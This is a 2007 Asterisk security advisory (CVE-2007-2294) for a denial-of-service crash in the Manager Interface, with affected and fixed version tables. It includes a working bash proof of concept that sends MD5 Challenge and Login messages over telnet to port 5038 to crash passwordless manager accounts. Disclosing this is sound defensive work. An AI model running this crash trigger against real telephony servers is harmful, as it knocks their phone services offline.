| | |
|---|---|
| **Product** | Asterisk |
| **Summary** | Remote Crash Vulnerability in Manager Interface |
| **Nature of Advisory** | Denial of Service |
| **Susceptibility** | Remote Unauthenticated Sessions |
| **Severity** | Moderate |
| **Exploits Known** | Yes |
| **Reported On** | April 24, 2007 |
| **Reported By** | Michael Spruel, Jeremy Lee, and Peter Nguyen of L.A. Fitness International, via Digium Technical Support |
| **Posted On** | April 24, 2007 |
| **Last Updated On** | August 21, 2007 |
| **Advisory Contact** | russell@digium.com |
| **CVE Name** | CVE-2007-2294 |

**Description**

The Asterisk Manager Interface has a remote crash vulnerability. If a manager user is configured in manager.conf without a password, and then a connection is made that attempts to use that username and MD5 authentication, Asterisk will dereference a NULL pointer and crash.

This example script shows how the crash can be triggered:

```
#!/bin/bash

function text1() {
  cat <<- EOF
        action: Challenge
        actionid: 0#
        authtype: MD5

        EOF
}

function text2() {
  cat <<- EOF
        action: Login
        actionid: 1#
        key: textstringhere
        username: testuser
        authtype: MD5

        EOF
}
```

| | |
|---|---|
| | (sleep 1; text1; sleep 1; text2 ) \| telnet 127.0.0.1 5038 |

| | |
|---|---|
| **Resolution** | The manager interface is not enabled by default. If it is enabled, the only way this crash can be exploited is if a user exists in manager.conf without a password. Given the conditions necessary for this problem to be exploited, the severity of this issue is marked as 'moderate'.<br><br>All users of the Asterisk manager interface in affected versions should ensure that there are no accounts in manager.conf. Alternatively, the issue can be avoided by completely disabling the manager interface.<br><br>Users of the manager interface are encouraged to update to the appropriate version of their Asterisk product listed in the 'Corrected In' section below. |

| **Affected Versions** | | |
|---|---|---|
| **Product** | **Release Series** | |
| Asterisk Open Source | 1.0.x | All versions |
| Asterisk Open Source | 1.2.x | All versions prior to 1.2.18 |
| Asterisk Open Source | 1.4.x | All versions prior to 1.4.3 |
| Asterisk Business Edition | A.x.x | All versions |
| Asterisk Business Edition | B.x.x | All versions up to and including B.1.3 |
| AsteriskNOW | pre-release | All version up to and including Beta5 |
| Asterisk Appliance Developer Kit | 0.x.x | All versions prior to 0.4.0 |

| Corrected In | |
|---|---|
| **Product** | **Release** |
| Asterisk Open Source | 1.2.18 and 1.4.3, available from http://downloads.digium.com/pub/telephony/asterisk |
| Asterisk Business Edition | B.1.3.3, available from the Asterisk Business Edition user portal on http://www.digium.com or via Digium Technical Support |
| AsteriskNOW | Beta6, when available from http://www.asterisknow.org/. Beta5 can use the system update feature in the appliance control panel. |
| Asterisk Appliance Developer Kit | 0.4.0, available from http://downloads.digium.com/pub/telephony/aadk/ |

| Links | |
|---|---|

Asterisk Project Security Advisories are posted at http://www.asterisk.org/security.
This document may be superseded by later versions; if so, the latest version will be posted at http://downloads.digium.com/pub/asa/AST-2007-012.pdf.

| Revision History | | |
|---|---|---|
| **Date** | **Editor** | **Revisions Made** |
| April 24, 2007 | russell@digium.com | Initial Release |
| April 25, 2007 | kpfleming@digium.com | updated URL |
| April 27, 2007 | kpfleming@digium.com | added CVE name |
| May 3, 2007 | russell@digium.com | updated reporter information |
| August 21, 2007 | russell@digium.com | Changed name prefix from ASA to AST, changed ftp.digium.com to downloads.digium.com |